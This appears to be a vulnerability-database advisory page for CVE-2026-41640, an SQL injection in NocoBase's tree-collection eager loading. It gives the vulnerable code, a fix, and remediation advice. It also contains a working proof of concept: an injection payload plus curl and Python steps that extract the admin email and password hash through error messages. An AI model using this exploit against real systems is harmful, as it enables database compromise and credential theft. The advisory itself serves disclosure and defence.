Skip to main content

NocoBase CVE-2026-41640

| EUVDEUVD-2026-28261 HIGH
SQL Injection (CWE-89)
2026-04-22 https://github.com/nocobase/nocobase GHSA-4948-f92q-f432
7.5
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
7.5 HIGH
AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
High
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

5
Analysis Generated
Apr 23, 2026 - 06:55 vuln.today
Analysis Generated
Apr 22, 2026 - 20:31 vuln.today
Patch released
Apr 22, 2026 - 20:31 nvd
Patch available
PoC Detected
Apr 22, 2026 - 20:09 vuln.today
Public exploit code
CVE Published
Apr 22, 2026 - 20:09 nvd
HIGH 7.5

DescriptionGitHub Advisory

Summary

The queryParentSQL() function in the core database package constructs a recursive CTE query by joining nodeIds with string concatenation instead of using parameterized queries. The nodeIds array contains primary key values read from database rows. An attacker who can create a record with a malicious string primary key can inject arbitrary SQL when any subsequent request triggers recursive eager loading on that collection.

Affected component: @nocobase/database (core) Affected versions: <= 2.0.32 (confirmed) Minimum privilege: Any user with record-creation permission on a tree collection with string-type primary keys

Vulnerable Code

packages/core/database/src/eager-loading/eager-loading-tree.ts:59-84

javascript
const queryParentSQL = (options: {
  db: Database;
  nodeIds: any[];
  collection: Collection;
  foreignKey: string;
  targetKey: string;
}) => {
  const { collection, db, nodeIds } = options;
  const tableName = collection.quotedTableName();
  const { foreignKey, targetKey } = options;
  const foreignKeyField = collection.model.rawAttributes[foreignKey].field;
  const targetKeyField = collection.model.rawAttributes[targetKey].field;

  const queryInterface = db.sequelize.getQueryInterface();
  const q = queryInterface.quoteIdentifier.bind(queryInterface);
  return `WITH RECURSIVE cte AS (
      SELECT ${q(targetKeyField)}, ${q(foreignKeyField)}
      FROM ${tableName}
      WHERE ${q(targetKeyField)} IN ('${nodeIds.join("','")}')  // <-- INJECTION
      UNION ALL
      SELECT t.${q(targetKeyField)}, t.${q(foreignKeyField)}
      FROM ${tableName} AS t
      INNER JOIN cte ON t.${q(targetKeyField)} = cte.${q(foreignKeyField)}
      )
      SELECT ${q(targetKeyField)} AS ${q(targetKey)}, ${q(foreignKeyField)} AS ${q(foreignKey)} FROM cte`;
};

This function is called at line 384 when a BelongsTo association has recursively: true and instances exist:

javascript
// eager-loading-tree.ts:382-395
if (node.includeOption.recursively && instances.length > 0) {
    const targetKey = association.targetKey;
    const sql = queryParentSQL({
        db: this.db, collection, foreignKey, targetKey,
        nodeIds: instances.map((instance) => instance.get(targetKey)), // from DB rows
    });
    const results = await this.db.sequelize.query(sql, { type: 'SELECT', transaction });
}

PoC

The payload keeps the CTE syntactically valid by injecting a third UNION ALL branch. The closing ') from the original template literal completes the injected WHERE clause, and the remaining UNION ALL ... INNER JOIN ... SELECT ... FROM cte lines stay intact.

Injection ID value:
  root') UNION ALL SELECT CAST((SELECT email FROM users LIMIT 1) AS integer)::text, NULL::text WHERE ('1'='1

Generated SQL (3 valid UNION ALL branches):
  WITH RECURSIVE cte AS (
    SELECT "id", "parentId" FROM "table"
    WHERE "id" IN ('root','root') UNION ALL SELECT CAST((...) AS integer)::text, NULL::text WHERE ('1'='1')
    UNION ALL
    SELECT t."id", t."parentId" FROM "table" AS t INNER JOIN cte ON t."id" = cte."parentId"
  ) SELECT "id" AS "id", "parentId" AS "parentId" FROM cte

The CAST-to-integer triggers a runtime error whose message contains the subquery result.
bash
TOKEN="<jwt_token>"
# 1. Create tree collection with string PKs
curl -s http://TARGET:13000/api/collections:create \
  -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
  -d '{"name":"vuln_tree","tree":"adjacencyList","fields":[
    {"name":"id","type":"string","primaryKey":true,"interface":"input"},
    {"name":"title","type":"string","interface":"input"},
    {"name":"parent","type":"belongsTo","target":"vuln_tree","foreignKey":"parentId","targetKey":"id","treeParent":true},
    {"name":"children","type":"hasMany","target":"vuln_tree","foreignKey":"parentId","sourceKey":"id","treeChildren":true}
  ]}'
# 2. Create safe root
curl -s http://TARGET:13000/api/vuln_tree:create \
  -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
  -d '{"id":"root","title":"Root"}'
# 3. Create injection parent - error-based extraction of admin email
python3 -c "
import requests, json
headers = {'Authorization': 'Bearer $TOKEN', 'Content-Type': 'application/json'}
payload_id = \"root') UNION ALL SELECT CAST((SELECT email FROM users LIMIT 1) AS integer)::text, NULL::text WHERE ('1'='1\"
requests.post('http://TARGET:13000/api/vuln_tree:create', headers=headers,
    json={'id': payload_id, 'title': 'x'})
requests.post('http://TARGET:13000/api/vuln_tree:create', headers=headers,
    json={'id': 'child', 'title': 'c', 'parentId': payload_id})
r = requests.get('http://TARGET:13000/api/vuln_tree:list', headers=headers,
    params={'appends[]': 'parent(recursively=true)', 'pageSize': '100'})
print(json.dumps(r.json(), indent=2))
"
# Returns: 500 {"errors":[{"message":"invalid input syntax for type integer: \"admin@nocobase.com\""}]}
#                                                                          ^^^^^^^^^^^^^^^^^^^^^^^
#                                                             Exfiltrated data in error message

Confirmed extractions (tested against NocoBase v2.0.32 + PostgreSQL 16.13):

SubqueryExtracted Value
SELECT version()PostgreSQL 16.13 (Debian 16.13-1.pgdg13+1) on aarch64-unknown-linux-gnu...
SELECT current_database()nocobase
SELECT email FROM users ORDER BY id LIMIT 1admin@nocobase.com
SELECT password FROM users ORDER BY id LIMIT 1006af6756e9660888c44ab311fe992341af0ecab4aaf13e48c8d0001948acc38
`SELECT string_agg(email\\

Impact

  • Confidentiality: Error-based extraction of any database value. Full credential dump confirmed (emails + password hashes).
  • Integrity: Depending on database user privileges, INSERT/UPDATE/DELETE through stacked queries.
  • Availability: Resource-exhaustive queries or destructive DDL.
  • Scope change: On PostgreSQL with superuser, COPY ... TO PROGRAM achieves OS command execution.
  • Blast radius: Affects all collections using tree/adjacency-list structure with string-type primary keys. The same concatenation pattern also exists in plugin-field-sort/src/server/sort-field.ts:124.

Fix Suggestion

  1. Use parameterized queries. Replace the string concatenation with bind parameters:
javascript
   const placeholders = nodeIds.map((_, i) => `$${i + 1}`).join(',');
   const sql = `WITH RECURSIVE cte AS (
       SELECT ${q(targetKeyField)}, ${q(foreignKeyField)}
       FROM ${tableName}
       WHERE ${q(targetKeyField)} IN (${placeholders})
       UNION ALL
       ...
   ) SELECT ... FROM cte`;
   return { sql, bind: nodeIds };

Then call db.sequelize.query(sql, { type: 'SELECT', bind: nodeIds, transaction }).

  1. Apply the same fix to plugin-field-sort/src/server/sort-field.ts:124, which has an identical concatenation pattern with filteredScopeValue.
  2. Validate primary key values at record creation time. Reject or escape values containing SQL metacharacters (', ", ;, --) in string-type primary key fields.

AnalysisAI

SQL injection in NocoBase's @nocobase/database package allows authenticated users with record-creation privileges to execute arbitrary SQL queries and extract database credentials. The vulnerability exists in the queryParentSQL() function, which constructs recursive Common Table Expression (CTE) queries using string concatenation instead of parameterized queries when processing tree collections with string primary keys. An attacker can inject malicious SQL by creating records with crafted primary key values, triggering the vulnerability when recursive eager loading occurs. Successful exploitation leads to full database compromise, with confirmed extraction of administrator credentials (emails and password hashes) in testing against PostgreSQL. On databases where the service account has elevated privileges, attackers can achieve operating system command execution via PostgreSQL's COPY...TO PROGRAM feature. Vendor patch available via GitHub PR #9133.

Technical ContextAI

The vulnerability resides in NocoBase's Object-Relational Mapping (ORM) layer, specifically in the eager-loading implementation for tree-structured data using the adjacency list pattern. NocoBase uses Sequelize ORM on top of PostgreSQL, MySQL, or SQLite. The queryParentSQL() function generates a WITH RECURSIVE query to traverse parent-child relationships in tree collections. Instead of using Sequelize's bind parameter mechanism, it directly concatenates nodeIds array values into the SQL string using JavaScript template literals and join(): WHERE ${q(targetKeyField)} IN ('${nodeIds.join("','")}'). The nodeIds array contains primary key values read from database rows during eager loading traversal. When a collection uses string-type primary keys (rather than auto-increment integers), an attacker-controlled string from a previously created record flows unsanitized into this concatenation point. The affected CPE pkg:npm/@nocobase_database indicates this is a Node.js package vulnerability affecting the core database abstraction layer. CWE-89 (SQL Injection) classification confirms the root cause: improper neutralization of special SQL characters in string inputs.

RemediationAI

Upgrade to the patched version of NocoBase that includes commit 202e2b8efe44ba90adbf1087f6f70881ff947604 from GitHub PR #9133 (https://github.com/nocobase/nocobase/pull/9133). The patch replaces string concatenation with parameterized queries using Sequelize bind parameters. If immediate upgrade is not feasible, apply these compensating controls with noted trade-offs: (1) Restrict record-creation permissions on all tree collections to only highly trusted users - reduces attack surface but limits application functionality for collaborative workflows. (2) Convert string-type primary keys to integer/UUID auto-generated types on tree collections - prevents injection but requires data migration and may break existing application logic expecting human-readable IDs. (3) Deploy database-level restrictions: revoke superuser privileges from the NocoBase service account, use read-only replicas for query operations where possible, and enable PostgreSQL query logging to detect injection attempts - reduces blast radius from RCE to data exfiltration only but adds operational overhead and does not eliminate the core vulnerability. (4) Implement Web Application Firewall (WAF) rules to block SQL metacharacters (single quotes, UNION, SELECT keywords) in POST/PUT request bodies to tree collection endpoints - high false-positive risk since legitimate tree node titles may contain these characters. Verify the fix addresses both eager-loading-tree.ts and plugin-field-sort/src/server/sort-field.ts as both contain the vulnerable pattern. Full advisory and patch details at GitHub security advisory GHSA-4948-f92q-f432.

CVE-2025-1094 HIGH POC
8.1 Feb 13

PostgreSQL libpq functions PQescapeLiteral(), PQescapeIdentifier(), PQescapeString(), and PQescapeStringConn() improperl

CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2013-1899 MEDIUM POC
6.5 Apr 04

Argument injection vulnerability in PostgreSQL 9.2.x before 9.2.4, 9.1.x before 9.1.9, and 9.0.x before 9.0.13 allows re

CVE-2026-20253 CRITICAL POC
9.8 Jun 10

Unauthenticated arbitrary file write in Splunk Enterprise (below 10.2.4 and 10.0.7) and Splunk Cloud Platform (below 10.

CVE-2017-7546 CRITICAL
9.8 Aug 16

PostgreSQL versions before 9.2.22, 9.3.18, 9.4.13, 9.5.8 and 9.6.4 are vulnerable to incorrect authentication flaw allow

CVE-2015-1352 MEDIUM POC
5.0 Mar 30

The build_tablename function in pgsql.c in the PostgreSQL (aka pgsql) extension in PHP through 5.6.7 does not validate t

CVE-2024-10553 CRITICAL POC
9.8 Mar 20

A vulnerability in the h2oai/h2o-3 REST API versions 3.46.0.4 allows unauthenticated remote attackers to execute arbitra

CVE-2019-9193 HIGH POC
7.2 Apr 01

In PostgreSQL 9.3 through 11.2, the "COPY TO/FROM PROGRAM" function allows superusers and users in the 'pg_execute_serve

CVE-2026-40887 CRITICAL POC
9.1 Apr 14

Unauthenticated SQL injection in Vendure Shop API allows remote attackers to execute arbitrary SQL commands against the

CVE-2022-24760 CRITICAL POC
10.0 Mar 12

Parse Server is an open source http web server backend. Rated critical severity (CVSS 10.0), this vulnerability is remot

CVE-2025-56157 CRITICAL POC
9.8 Dec 18

Hard-coded default PostgreSQL credentials shipped in the docker-compose.yaml of langgenius Dify through version 1.5.1 al

CVE-2024-12909 CRITICAL POC
9.8 Mar 20

A vulnerability in the FinanceChatLlamaPack of the run-llama/llama_index repository, versions up to v0.12.3, allows for

Share

CVE-2026-41640 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy